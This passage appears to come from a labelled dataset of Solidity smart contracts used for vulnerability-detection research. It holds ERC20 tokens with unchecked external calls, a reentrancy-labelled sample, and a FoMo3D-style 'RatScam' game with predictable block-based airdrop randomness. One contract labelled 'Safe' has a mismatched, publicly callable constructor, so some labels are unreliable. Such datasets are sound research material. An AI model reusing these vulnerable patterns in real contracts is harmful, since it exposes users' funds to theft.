public totalSupply; } contract CTW is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = ""1.0""; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function CTWtoken() { balances[msg.sender] = 14000000000000000000000000000; totalSupply = 14000000000000000000000000000; name = ""CTWtoken""; decimals = 18; symbol = ""CTW""; fundsWallet = msg.sender; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if (!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) {throw;} return true; } }",Safe,8,8 32220.sol,"pragma solidity ^0.4.8; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { uint256 constant MAX_UINT256 = 2**256 - 1; function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed when one does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(keccak256(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/reentrancy (RE)/,5,5 494.sol,"pragma solidity ^0.4.24; contract RSEvents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularRatScam is RSEvents {} contract RatScam is modularRatScam { using SafeMath for *; using NameFilter for string; using RSKeysCalc for uint256; RatBookInterface constant private RatBook = RatBookInterface(0xdA01A4923A2884E67445CE4f63D9C895Be488FAD); string constant public name = ""RatScam In One Hour""; string constant public symbol = ""RS""; uint256 private rndGap_ = 0; uint256 private rndInit_ = 1 hours; uint256 private rndInc_ = 30 seconds; uint256 private rndMax_ = 1 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; address private adminAddress; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => RSdatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => RSdatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => RSdatasets.Round) public round_; uint256 public fees_ = 60; uint256 public potSplit_ = 45; constructor() public { adminAddress = msg.sender; } modifier isActivated() { require(activated_ == true, ""its not ready yet""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""non smart contract address only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""too little money""); require(_eth <= 100000000000000000000000, ""too much money""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { RSdatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now)); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256) { uint256 _rID = rID_; return ( round_[rID_].keys, round_[rID_].end, round_[rID_].strt, round_[rID_].pot, round_[rID_].plyr, plyr_[round_[rID_].plyr].addr, plyr_[round_[rID_].plyr].name, airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } _rID = rID_; core(_rID, _pID, msg.value, _affID, _eventData_); } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core( _rID, _pID, _eth, _affID, _eventData_); } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 10000000000000000000) { uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_); endTx(_pID, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rID) private view returns(uint256) { return((((round_[_rID].mask).mul(plyrRnds_[_pID][_rID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rID].mask)); } function calcKeysReceived(uint256 _eth) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(RatBook), ""only RatBook can call this function""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(RatBook), ""only RatBook can call this function""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = RatBook.getPlayerID(msg.sender); bytes32 _name = RatBook.getPlayerName(_pID); uint256 _laff = RatBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(45)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_)) / 100; uint256 _ppt = 0; if(round_[_rID].keys > 0) { _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); } uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _com = _com.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); adminAddress.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = 0; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = 0; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rID) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rID); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rID].mask = _earnings.add(plyrRnds_[_pID][_rID].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _com = _eth * 5 / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now); } else { _com += _aff; } adminAddress.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_)) / 100; uint256 _air = (_eth / 20); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20) / 100); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit RSEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == adminAddress, ""only owner can activate"" ); require(activated_ == false, ""ratscam already activated""); activated_ = true; rID_ = 1; round_[1].strt = now - rndGap_; round_[1].end = now + rndInit_; } function setNextRndTime(uint32 rndInit, uint32 rndInc, uint32 rndMax) public { require(msg.sender == adminAddress, ""only owner can setNextRndTime""); rndInit_ = rndInit * 1 hours; rndInc_ = rndInc * 1 seconds; rndMax_ = rndMax * 1 hours; } } library RSdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 laff; uint256 lrnd; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; } struct Round { uint256 plyr; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library RSKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface RatBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 